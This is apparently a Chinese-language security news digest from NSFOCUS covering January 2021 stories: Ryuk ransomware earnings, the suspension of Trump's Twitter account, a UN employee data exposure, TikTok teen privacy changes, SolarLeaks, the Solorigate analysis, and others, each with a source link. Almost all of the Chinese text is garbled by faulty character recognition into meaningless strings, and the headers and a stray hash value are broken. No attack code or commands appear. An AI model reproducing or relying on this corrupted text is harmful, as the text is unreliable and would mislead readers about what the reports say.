https://www.inforisktoday.com/ryuk-ransomware-profits-150-
million-a-15726
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Twitterk AR IE T BAE - FEAEEAMKS, BOMHEX ARSI
M—KEN. NTRNYEEEZRENZRD, A=S50KR RIKEF

T12NVNEY, ZHZBAETERT, HRAERHRT “TEEREINNAR
EHER" 5likEl, EFHAEES@realDonaldTrumptk ~ REYRHT Tweet h HF
BE8IE (Rl 2a0EE Twitter EMITE TwitterZ IMEWABBREENT) /&,
RFREEE—FBIE], BIBEXKAFRAZEK . ZABTE—FKEXH
B0

[&E5%E]
https://securityaffairs.co/wordpress/113197/social-networks/twitter-

donald-trump-account-suspended.html
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[#8Fi]
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https://www.freebuf.com/

articles/system/260483.html
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YIERERFELAMNHEE, BHIEE
RAMHAZEIRE AR EX
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—HRUNZ DM RAREXT, BTERSEFEMZE (UNEP) BIGItHUD
FHEETWRERET 1000005582 T12%, BEMASMER, BRI
HtBUREIR, IMEEA TN EARKSENIT IR ER, —HmNBEERSakura
SamuraifT IR EHIEL, ZRFRERE T GitHUbEREERENHR, XL
FIEE TS T EGItHUbTREE, IRBIAEAFRFEIEM DT ABMHMER. 23,
FATRB) T 100,000 A ERIFAARTIER, ” Q988 A58 (John Jackson)
B, MEEEZRMARARZ —

L33
https://www.inforisktoday.com/vulnerable-database-exposed-un-

employees-data-a-15744

26. TikToki§ & L EWF RE
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ZABIE, EMIEI3EISS 2K ERIMERARMLISE, UNANT
SR TATHISME Z 1 AR A Bl TIKToKE R TEIR B £ 539 52 LA A BIPRFALR
P, TiKToKSZWIIZE RA S/ VD ERINZABTE2019ER SR, H265
PMEERF A0 EMIII6S F24% 28, MXERIIEMEN T iLEHS/)
MARBEREMERIZTA,
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https://threatpost.com/tiktok-teen-accounts-private/163040/

27. COVID-19% & X {4t 55
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EPNBEMNAREERI—RNEH G R ERE XCOVID-19% EM L Mm
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https://www.inforisktoday.com/covid-19-vaccine-documents-personal-
data-leaked-a-15754

28. “SolarLeaks” MuhEFFMRMKE = EERVIE
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— BRI S A MIER HERBCisco, FireEye, Microsoftil
SolarWindsBI%UE, XEHIRZED SolarWindsHN R HH AR, RHAXED
HRLRZEN, BEReLTHMRZRNESEE, HiEL, ZRNSEERS
HTTE RV ST Al SR LE R E WS AR 81T,
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https://www.inforisktoday.com/solarleaks-site-claims-to-offer-attack-

victims-data-a-15751

29. REIEAERGHEFIRBBR T 15K HEFHIER

€735

REBEAILN, BARESEEINMIG T 2EERYIEETRIL50,000E
HicR. (HR) RE, XIMEFRELES, BANEREM.

(&% 55
https://www.hackread.com/uk-police-deleted-arrest-records-technical-

glitch/

30. — KM LIEIFER, Windowsl0XNMEBREEAKE
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Microsoft Windows 10— REXNZ BT REEFERRITH R
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ZIPTFME. AU RAMBMEER, UL EANEIREIR, REEFX
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@ 22A1R /20212



NSFOCUS

ReTH

b865b1444cadd402fd6a333e1543ab
8917b268trd

31. COVID-19%& B /1
BB R ETE

(#52]

Z2/AB]ProofpointBIEFZ A
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https://www.inforisktoday.com/
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fraud-schemes-a-15783
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XL EMATR iR Applefk

oo
%28,

Sk

(& HEE]
https://securityaffairs.co/wordpress/113572/hacking /apple-paid-bug-
bounty.html
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FEgTE-%RAE (Donald Trump) EA —HBELLEHENNEENZ
T, RIWT—HUTHS S, BEXRFEEEMIGHARSRERERNEMTIRSE
HEREEXINEZAINFAICR, UEBNBERALSIEMZ IR A,

[SE& 48]
https://www.inforisktoday.com/trump-orders-iaas-providers-to-track-

foreign-users-a-15810
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35. SMAE I — ML FPAKRINERRHINBE T2

(#15A]

ZEMXEERHEWL, ZRMEEFS, BTN 2IRMEE,
Mo THNFHHKX ZEBERIINE—BEXER, MicrosoftmEHEFE
Natalia Godyla 5Rendition InfoSecByelta A Jake Williams#EHiT 7221 o Jake

20212 ) 228K Y



s .

o ¥

NSFOCUS

RedH

TAEHER AN AIARN A R B R B H AR EK .

[SE %]
https://www.microsoft.com/security/blog/2021/01/21/the-dynamic-
duo-how-to-build-a-red-and-blue-team-to-strengthen-your-cybersecurity-

part-2/
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Microsoft& a7 —iriRes, EEESolarWindsH W I E T
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https://securityaffairs.co/wordpress/113681/apt/microsoft-solorigate.
html?utm_source=rss&utm_medium=rss&utm_campaign=microsoft-

solorigate
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https://www.forbes.com/sites/thomasbrewster/2021/01/21 /facebook-

gives-fbi-private-messages-of-users-discussing-capitol-hill-riot/
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